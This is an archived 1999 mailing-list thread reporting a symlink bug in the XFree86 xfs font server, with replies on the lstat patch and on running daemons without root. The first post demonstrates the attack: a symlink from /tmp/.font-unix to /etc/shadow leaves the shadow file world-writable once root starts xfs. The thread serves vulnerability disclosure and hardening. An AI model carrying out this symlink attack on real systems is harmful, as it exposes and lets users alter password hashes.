home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / xfs.txt < prev    next >
Encoding:
Text File  |  1999-04-11  |  4.5 KB  |  163 lines

  1. Bug in xfs
  2.  
  3. Lukasz Trabinski (lukasz@LT.WSISIZ.EDU.PL)
  4. Tue, 30 Mar 1999 00:14:34 +0200 
  5.  
  6. Hello,
  7.  
  8. I hope that's information will be useful for making new patch for
  9. XFree86.
  10.  
  11. I found bug in xfs
  12.  
  13. (Packet XFree86-xfs-3.3.3.1-1 in RedHat 5.1 and probably in RedHat 5.2
  14. updates, too)
  15. Xfs is a font server for XFree86, it's also create directory in /tmp
  16. That directory name .font-unix
  17.  
  18. Let's make a little check:
  19.  
  20. On first console (I logged as a normal user)
  21.  
  22. [lukasz@lt /tmp]$ cat /etc/shadow
  23. cat: /etc/shadow: Permission denied
  24.  
  25. [lukasz@lt /tmp]$ ls -all /etc/shadow
  26. -r--------   1 root     root          544 Mar 30 00:04 /etc/shadow
  27.  
  28. [lukasz@lt /tmp]$ ll
  29. total 2
  30. drwxrwxrwt   2 root     root         1024 Mar 30 00:05 .
  31. drwxr-xr-x  18 root     root         1024 Mar 23 00:10 ..
  32. lrwxrwxrwx   1 lukasz   users          11 Mar 30 00:05 .font-unix ->
  33. /etc/shadow
  34.  
  35. On second console, as root
  36.  
  37. [root@lt /root]# xfs &
  38. [1] 2021
  39. [root@lt /root]# _FontTransSocketCreateListener: failed to bind listener
  40. _FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
  41. _FontTransMakeAllCOTSServerListeners: failed to create listener for local
  42.  
  43.  
  44. On first console:
  45.  
  46. [lukasz@lt /tmp]$ ls -all /etc/shadow
  47. -rwxrwxrwt   1 root     root          544 Mar 30 00:04 /etc/shadow
  48. ^^^^^^^^^^^
  49. That's all ;)
  50.  
  51. Solution, As root before run xfs, make rm -rf /tmp/.font-unix
  52.  
  53.  
  54. Sorry for my broken English ;(
  55.  
  56.  
  57.                     _[   Lukasz Trabinski   ]_
  58. PgP Key: finger:lukasz@oceanic.wsisiz.edu.pl, SysAdmin @wsisiz.edu.pl
  59.  
  60. -----------------------------------------------------------------------
  61.  
  62. Re: Bug in xfs
  63.  
  64. Matthieu Herrb (matthieu@laas.fr)
  65. Wed, 31 Mar 1999 08:04:17 +0200 
  66.  
  67. You wrote (in your message from Tuesday 30)
  68.  >
  69.  > I hope that's information will be useful for making new patch for
  70.  > XFree86.
  71.  >
  72.  > I found bug in xfs
  73.  
  74.  
  75. This is caused by the same bug in xc/lib/xtrans that "in.telnetd"
  76. <telnetd@DOEMILL.SHOCKING.COM> reported under the subject "X11R6 NetBSD
  77. Security Problem" last week.
  78.  
  79. The patch I submitted (with stat() replaced by lstat(), as noted by
  80. Kevin Vajk and other) also fixes that.
  81. --
  82.                                         Matthieu
  83.  
  84. -----------------------------------------------------------------------
  85.  
  86. Re: Bug in xfs
  87.  
  88. Juha Virtanen (jiivee@iki.fi)
  89. Wed, 31 Mar 1999 09:38:28 +0300 
  90.  
  91. Regardless of the bug Lukasz Trabinski found in xfs -- it should
  92. be fixed and similar bugs traced from other software as well --
  93. it is not necessary to run xfs with root permissions at all.
  94.  
  95. Someone may unknowingly argue that it needs to listen a port.
  96. Yes, but that's usually port 7100, and as it's not under 1024
  97. limit, so root permission isn't needed.
  98.  
  99. I've run xfs for ages on separate account. below is the
  100. significant startup line I use in RedHat 5.x systems:
  101.  
  102. daemon /bin/su fontsvr -c "/usr/X11/bin/xfs -config /etc/X11/fs/config -port 7100 &"
  103.  
  104. The rule is: if a daemon can do its work with lower permissions
  105. than root, it should.
  106.  
  107. I do also run named as nonroot permissions (Startup
  108. /usr/sbin/named -u user -g group). I recommend other people
  109. doing this as well.
  110.  
  111.  
  112. Juha Virtanen
  113. --
  114. <URL:http://www.iki.fi/jiivee/>
  115.  
  116. -----------------------------------------------------------------------
  117.  
  118. Re: Bug in xfs
  119.  
  120. Alan Cox (alan@LXORGUK.UKUU.ORG.UK)
  121. Wed, 31 Mar 1999 10:25:07 +0100 
  122.  
  123. > I do also run named as nonroot permissions (Startup
  124. > /usr/sbin/named -u user -g group). I recommend other people
  125. > doing this as well.
  126.  
  127. This isnt one to do blindly as it means named cannot bind to interfaces
  128. that appear dynamically (eg as a DNS cache on a terminal server). The
  129. fact that you end up having to run named as root or with the relevant
  130. capability to allow it to bind to low ports.
  131.  
  132. Alan
  133.  
  134. -----------------------------------------------------------------------
  135.  
  136. Re: Bug in xfs
  137.  
  138. Roman Drahtmueller (draht2@RZLIN1.RUF.UNI-FREIBURG.DE)
  139. Wed, 31 Mar 1999 05:10:14 +0200 
  140.  
  141. [snip]
  142. > [lukasz@lt /tmp]$ ls -all /etc/shadow
  143. > -r--------   1 root     root          544 Mar 30 00:04 /etc/shadow
  144. [snip]
  145. > [root@lt /root]# xfs &
  146. [snip]
  147. > [lukasz@lt /tmp]$ ls -all /etc/shadow
  148. > -rwxrwxrwt   1 root     root          544 Mar 30 00:04 /etc/shadow
  149. [snip]
  150. > Solution, As root before run xfs, make rm -rf /tmp/.font-unix
  151.  
  152. For sure this needs to be fixed. Your "solution" introduces a race
  153. condition, though, if the font server is started when users are
  154. allowed to log on.
  155.  
  156. A better interim aid is not to run xfs as root in the first place. In
  157. fact, why would one want to run things as root if not necessary?
  158.  
  159. Roman.
  160. Computer Center University of Freiburg, Germany.
  161. "The whole world is about three drinks behind."  (Humphrey Bogart)
  162.  
  163.